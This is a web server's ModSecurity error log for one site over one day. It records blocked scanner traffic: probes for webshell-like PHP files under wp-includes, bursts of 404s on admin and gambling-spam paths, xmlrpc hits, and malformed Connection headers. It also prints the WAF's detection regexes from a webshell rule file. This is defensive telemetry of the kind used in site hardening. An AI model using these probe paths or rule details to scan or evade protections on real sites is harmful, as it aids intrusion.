[Mon May 04 03:17:35.108538 2026] [:error] [pid 55470:tid 55533] [client 43.159.138.217:58676] [client 43.159.138.217] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afefT1Oc8RmwXMq-d3hhOgAAAA0"]
[Mon May 04 04:55:17.943793 2026] [:error] [pid 58625:tid 58643] [client 20.104.98.52:12239] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afe2NfZfjPGFqq6KSLkE-AAAAQ8"]
[Mon May 04 04:55:24.047383 2026] [:error] [pid 57048:tid 57123] [client 20.104.98.52:15342] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afe2PIZINtpBgqE164JCogAAAIY"]
[Mon May 04 04:55:25.955996 2026] [:error] [pid 57048:tid 57130] [client 20.104.98.52:11070] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afe2PYZINtpBgqE164JCowAAAI0"]
[Mon May 04 04:55:31.351679 2026] [:error] [pid 57047:tid 57090] [client 20.104.98.52:14223] [client 20.104.98.52] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "afe2Q1tCAxKLCAMkLV2PoQAAAEA"]
[Mon May 04 07:10:43.388369 2026] [:error] [pid 64630:tid 64652] [client 45.94.31.15:61030] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/txets.php"] [unique_id "affV8xqqGHTFwsmbKEoiLgAAAZQ"]
[Mon May 04 07:10:43.872830 2026] [:error] [pid 58625:tid 58650] [client 45.94.31.15:61118] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/txets.php"] [unique_id "affV8_ZfjPGFqq6KSLk45wAAARY"]
[Mon May 04 07:10:44.365509 2026] [:error] [pid 57046:tid 57080] [client 45.94.31.15:61205] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/post-template/txets.php"] [unique_id "affV9IDA4d1tYGL7mqArigAAABM"]
[Mon May 04 07:10:45.350340 2026] [:error] [pid 64660:tid 64695] [client 45.94.31.15:61393] [client 45.94.31.15] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/txets.php"] [unique_id "affV9YCSbiwETe2QGLXx_AAAAgU"]
[Mon May 04 07:36:02.673094 2026] [:error] [pid 12051:tid 12074] [client 43.153.35.128:47120] [client 43.153.35.128] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "affb4urVB-w_PyOHK6kc3gAAAVU"]
[Mon May 04 08:15:16.910544 2026] [:error] [pid 12051:tid 12061] [client 20.48.152.116:39231] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "afflFOrVB-w_PyOHK6kzxQAAAUg"]
[Mon May 04 08:15:17.741018 2026] [:error] [pid 12051:tid 12064] [client 20.48.152.116:64927] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "afflFerVB-w_PyOHK6kz1wAAAUs"]
[Mon May 04 08:15:18.583921 2026] [:error] [pid 11958:tid 11980] [client 20.48.152.116:42034] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "afflFjAK_o2NLEdfAUkpLAAAAFM"]
[Mon May 04 08:15:19.422348 2026] [:error] [pid 11958:tid 11982] [client 20.48.152.116:28338] [client 20.48.152.116] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/colors/blue/index.php"] [unique_id "afflFzAK_o2NLEdfAUkpPAAAAFU"]
[Mon May 04 08:23:50.515175 2026] [:error] [pid 11959:tid 11989] [client 106.54.62.156:56336] [client 106.54.62.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "affnFgojk2nvxs7h5KvJ8wAAAME"]
[Mon May 04 08:42:14.162728 2026] [:error] [pid 12051:tid 12060] [client 43.131.243.61:57232] [client 43.131.243.61] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "affrZurVB-w_PyOHK6lCagAAAUc"]
[Mon May 04 13:19:39.325335 2026] [:error] [pid 12022:tid 12025] [client 217.226.95.121:61311] [client 217.226.95.121] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.226.95.121, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "afgsa0VhgvCNKBWnaTKF8gAAAIE"]
[Mon May 04 13:50:35.434825 2026] [:error] [pid 12051:tid 12075] [client 35.209.133.82:55110] [client 35.209.133.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/font-awesome/css/font-awesome.min.css"] [unique_id "afgzq-rVB-w_PyOHK6mZnwAAAVY"]
[Mon May 04 13:50:35.653097 2026] [:error] [pid 64610:tid 64630] [client 35.209.133.82:55128] [client 35.209.133.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/Ionicons/css/ionicons.min.css"] [unique_id "afgzq2hJ7aZW62UOoWhmvgAAARI"]
[Mon May 04 13:50:36.519880 2026] [:error] [pid 64610:tid 64636] [client 35.209.133.82:46554] [client 35.209.133.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/skins/_all-skins.min.css"] [unique_id "afgzrGhJ7aZW62UOoWhmxwAAARg"]
[Mon May 04 13:50:39.319409 2026] [:error] [pid 12022:tid 12038] [client 35.209.133.82:46556] [client 35.209.133.82] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/plugins/timepicker/bootstrap-timepicker.min.css"] [unique_id "afgzr0VhgvCNKBWnaTKQewAAAI4"]
[Mon May 04 13:58:51.128538 2026] [:error] [pid 12022:tid 12032] [client 43.166.255.102:56842] [client 43.166.255.102] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "afg1m0VhgvCNKBWnaTKTeQAAAIg"]
[Mon May 04 15:06:02.261378 2026] [:error] [pid 61044:tid 61116] [client 34.1.30.118:59742] [client 34.1.30.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/css/animation.css"] [unique_id "afhFWkw8w2zZZXI6H1tNVwAAAA4"]
[Mon May 04 15:06:02.533531 2026] [:error] [pid 61042:tid 61062] [client 34.1.30.118:59756] [client 34.1.30.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/AdminLTE.min.css"] [unique_id "afhFWknAPPS1fjubA9QaTAAAANA"]
[Mon May 04 15:06:04.462297 2026] [:error] [pid 61042:tid 61048] [client 34.1.30.118:47150] [client 34.1.30.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/bootstrap-datepicker/dist/css/bootstrap-datepicker.min.css"] [unique_id "afhFXEnAPPS1fjubA9QaTwAAAMI"]
[Mon May 04 15:06:06.426568 2026] [:error] [pid 61150:tid 61177] [client 34.1.30.118:47166] [client 34.1.30.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/bower_components/bootstrap-colorpicker/dist/css/bootstrap-colorpicker.min.css"] [unique_id "afhFXu8QXWVLiwIGVpceugAAAVg"]
[Mon May 04 15:06:08.055088 2026] [:error] [pid 61043:tid 61089] [client 34.1.30.118:47178] [client 34.1.30.118] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/assets/dist/css/skins/_all-skins.min.css"] [unique_id "afhFYJ8-LwtfURjiAbBX8QAAAE4"]
[Mon May 04 15:29:42.627462 2026] [:error] [pid 61043:tid 61077] [client 147.135.213.153:55176] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "afhK5p8-LwtfURjiAbBlXwAAAEI"]
[Mon May 04 15:29:45.173571 2026] [:error] [pid 61042:tid 61064] [client 147.135.213.153:37532] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "afhK6UnAPPS1fjubA9QlggAAANI"]
[Mon May 04 15:29:47.769357 2026] [:error] [pid 61042:tid 61046] [client 147.135.213.153:59254] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "afhK60nAPPS1fjubA9QljAAAAMA"]
[Mon May 04 15:29:50.212702 2026] [:error] [pid 3341:tid 3344] [client 147.135.213.153:59260] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "afhK7k9o3_LordU0wW7e-QAAAIA"]
[Mon May 04 15:29:52.690748 2026] [:error] [pid 61150:tid 61168] [client 147.135.213.153:59268] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "afhK8O8QXWVLiwIGVpc0NgAAAU8"]
[Mon May 04 15:29:55.067346 2026] [:error] [pid 61042:tid 61055] [client 147.135.213.153:59270] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "afhK80nAPPS1fjubA9QlpgAAAMk"]
[Mon May 04 15:29:57.525504 2026] [:error] [pid 61150:tid 61156] [client 147.135.213.153:48354] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "afhK9e8QXWVLiwIGVpc0PgAAAUM"]
[Mon May 04 15:30:00.073189 2026] [:error] [pid 3341:tid 3368] [client 147.135.213.153:48360] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "afhK-E9o3_LordU0wW7fGgAAAJg"]
[Mon May 04 15:30:02.592342 2026] [:error] [pid 3341:tid 3361] [client 147.135.213.153:48364] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "afhK-k9o3_LordU0wW7fIQAAAJE"]
[Mon May 04 15:30:05.022800 2026] [:error] [pid 3341:tid 3351] [client 147.135.213.153:48380] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "afhK_U9o3_LordU0wW7fKwAAAIc"]
[Mon May 04 15:30:07.471896 2026] [:error] [pid 3341:tid 3355] [client 147.135.213.153:33574] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "afhK_09o3_LordU0wW7fRQAAAIs"]
[Mon May 04 15:30:09.963270 2026] [:error] [pid 3341:tid 3354] [client 147.135.213.153:33584] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "afhLAU9o3_LordU0wW7fbAAAAIo"]
[Mon May 04 15:30:12.531115 2026] [:error] [pid 61044:tid 61119] [client 147.135.213.153:33586] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "afhLBEw8w2zZZXI6H1tgbgAAABE"]
[Mon May 04 15:30:15.054710 2026] [:error] [pid 61044:tid 61113] [client 147.135.213.153:33588] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "afhLB0w8w2zZZXI6H1tgcwAAAAs"]
[Mon May 04 15:30:17.619276 2026] [:error] [pid 61042:tid 61059] [client 147.135.213.153:37686] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "afhLCUnAPPS1fjubA9Ql9gAAAM0"]
[Mon May 04 15:30:20.181671 2026] [:error] [pid 61044:tid 61102] [client 147.135.213.153:37690] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "afhLDEw8w2zZZXI6H1tgkwAAAAA"]
[Mon May 04 15:30:22.684476 2026] [:error] [pid 3341:tid 3361] [client 147.135.213.153:37702] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "afhLDk9o3_LordU0wW7flAAAAJE"]
[Mon May 04 15:30:25.196900 2026] [:error] [pid 3341:tid 3356] [client 147.135.213.153:37710] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/demon%20slot%20game.aspx"] [unique_id "afhLEU9o3_LordU0wW7fogAAAIw"]
[Mon May 04 15:30:27.528731 2026] [:error] [pid 61150:tid 61170] [client 147.135.213.153:42244] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/dg%20casino.aspx"] [unique_id "afhLE-8QXWVLiwIGVpc0gwAAAVE"]
[Mon May 04 15:30:30.026118 2026] [:error] [pid 3341:tid 3367] [client 147.135.213.153:42256] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "afhLFk9o3_LordU0wW7frAAAAJc"]
[Mon May 04 15:30:32.556292 2026] [:error] [pid 61150:tid 61157] [client 147.135.213.153:42266] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "afhLGO8QXWVLiwIGVpc0lgAAAUQ"]
[Mon May 04 15:30:35.046909 2026] [:error] [pid 61044:tid 61123] [client 147.135.213.153:42274] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "afhLG0w8w2zZZXI6H1tgygAAABU"]
[Mon May 04 15:30:37.520345 2026] [:error] [pid 61150:tid 61163] [client 147.135.213.153:52124] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/galaxy%20slot.aspx"] [unique_id "afhLHe8QXWVLiwIGVpc0xgAAAUo"]
[Mon May 04 15:30:39.847818 2026] [:error] [pid 61150:tid 61165] [client 147.135.213.153:52132] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/h25%20com.aspx"] [unique_id "afhLH-8QXWVLiwIGVpc01gAAAUw"]
[Mon May 04 15:31:01.013705 2026] [:error] [pid 61044:tid 61121] [client 147.135.213.153:52134] [client 147.135.213.153] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20game.aspx"] [unique_id "afhLNUw8w2zZZXI6H1thQAAAABM"]
